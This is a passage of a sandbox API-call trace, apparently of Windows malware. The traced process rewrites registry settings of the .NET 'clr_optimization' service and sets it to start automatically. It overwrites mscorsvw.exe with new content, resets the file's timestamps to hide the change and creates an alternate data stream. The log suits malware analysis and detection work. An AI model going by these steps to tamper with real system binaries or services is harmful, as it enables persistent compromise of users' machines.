Flags=0x8, Size=0x10) returned 0x1d7d630 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d558 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4e28 [0032.770] RegEnumValueA (in: hKey=0x94, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d548 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4de0 [0032.770] RegEnumValueA (in: hKey=0x94, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d538 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4d98 [0032.770] RegEnumValueA (in: hKey=0x94, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d528 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4d50 [0032.770] RegEnumValueA (in: hKey=0x94, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1e2b870 [0032.770] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d630) returned 1 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d518 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4d08 [0032.770] RegEnumValueA (in: hKey=0x94, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d508 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4cc0 [0032.771] RegEnumValueA (in: hKey=0x94, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4f8 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4c78 [0032.771] RegEnumValueA (in: hKey=0x94, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4e8 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4c30 [0032.771] RegEnumValueA (in: hKey=0x94, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x30) returned 0x1d7ff98 [0032.771] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e2b870) returned 1 [0032.771] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4d8 [0032.771] RegEnumValueA (in: hKey=0x94, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.771] RegEnumValueA (in: hKey=0x94, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.771] RegEnumValueA (in: hKey=0x94, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0032.771] RegSetValueExA (in: hKey=0x13c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0032.771] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4690) returned 1 [0032.771] RegSetValueExA (in: hKey=0x13c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0032.772] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4690) returned 1 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.772] RegEnumValueA (in: hKey=0x94, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0032.772] RegSetValueExA (in: hKey=0x13c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0032.773] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da49a8) returned 1 [0032.773] RegSetValueExA (in: hKey=0x13c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0032.773] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da49a8) returned 1 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.773] RegEnumValueA (in: hKey=0x94, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.774] RegEnumValueA (in: hKey=0x94, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.774] RegEnumValueA (in: hKey=0x94, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0032.774] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0032.774] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", lpDst=0x1da4408, nSize=0x3c | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x3b [0032.774] RegSetValueExA (in: hKey=0x13c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x0 [0032.774] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4690) returned 1 [0032.774] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1da4498, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0032.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1da4498, cbMultiByte=58, lpWideCharStr=0x1da5e18, cchWideChar=58 | out: lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 58 [0032.774] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x2d5e38*="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0032.774] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d678 [0032.774] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4b8 [0032.774] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.774] LocalFree (hMem=0x2d5e38) returned 0x0 [0032.774] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5ea0) returned 1 [0032.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0032.774] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cchWideChar=58, lpMultiByteStr=0x1da4408, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", lpUsedDefaultChar=0x0) returned 58 [0032.774] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4690 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.775] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d630 [0032.775] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d398 [0032.775] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4690) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d4b8) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d678) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47b0) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3a8) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d660) returned 1 [0032.775] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d660 [0032.775] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3a8 [0032.775] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47b0 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d398) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d630) returned 1 [0032.775] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.775] RegSetValueExA (in: hKey=0x13c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x0 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.775] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4498) returned 1 [0032.775] OpenServiceW (hSCManager=0x2d3600, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x2) returned 0x2d36f0 [0032.775] ChangeServiceConfigW (in: hService=0x2d36f0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0033.031] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4720) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d378) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d648) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47b0) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3a8) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d660) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e2a470) returned 1 [0033.031] RegCloseKey (hKey=0x13c) returned 0x0 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5d90) returned 1 [0033.031] RegCloseKey (hKey=0x94) returned 0x0 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da43c0) returned 1 [0033.031] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4378) returned 1 [0033.031] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x196b8)) returned 1 [0033.035] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0033.035] SetFileTime (hFile=0x94, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0033.035] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x196b8 [0033.035] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0033.035] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x196c0) returned 0x1de3ea8 [0033.035] ReadFile (in: hFile=0x94, lpBuffer=0x1de3ea8, nNumberOfBytesToRead=0x196b8, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1de3ea8*, lpNumberOfBytesRead=0x18fc58*=0x196b8, lpOverlapped=0x0) returned 1 [0033.040] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x196c0) returned 0x1dfd570 [0033.040] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1de3ea8) returned 1 [0033.040] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0033.040] WriteFile (in: hFile=0x94, lpBuffer=0x1dbeea0*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1dbeea0*, lpNumberOfBytesWritten=0x18fc58*=0x25000, lpOverlapped=0x0) returned 1 [0033.042] SetEndOfFile (hFile=0x94) returned 1 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x184) returned 0x1d92850 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4378 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da43c0 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47b0 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4720 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4498 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4690 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da44e0 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4528 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4840 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4888 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da48d0 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4960 [0033.042] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4918 [0033.042] GetFileTime (in: hFile=0x94, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0xef914800, dwHighDateTime=0x1d0aa91)) returned 1 [0033.042] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0033.043] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0033.043] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5d90 [0033.043] NtClose (Handle=0x94) returned 0x0 [0033.044] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x24f53, ftCreationTime.dwHighDateTime=0x18fc24, ftLastAccessTime.dwLowDateTime=0x77380a45, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0033.044] GetLastError () returned 0x2 [0033.044] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0033.044] SetFileTime (hFile=0x94, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 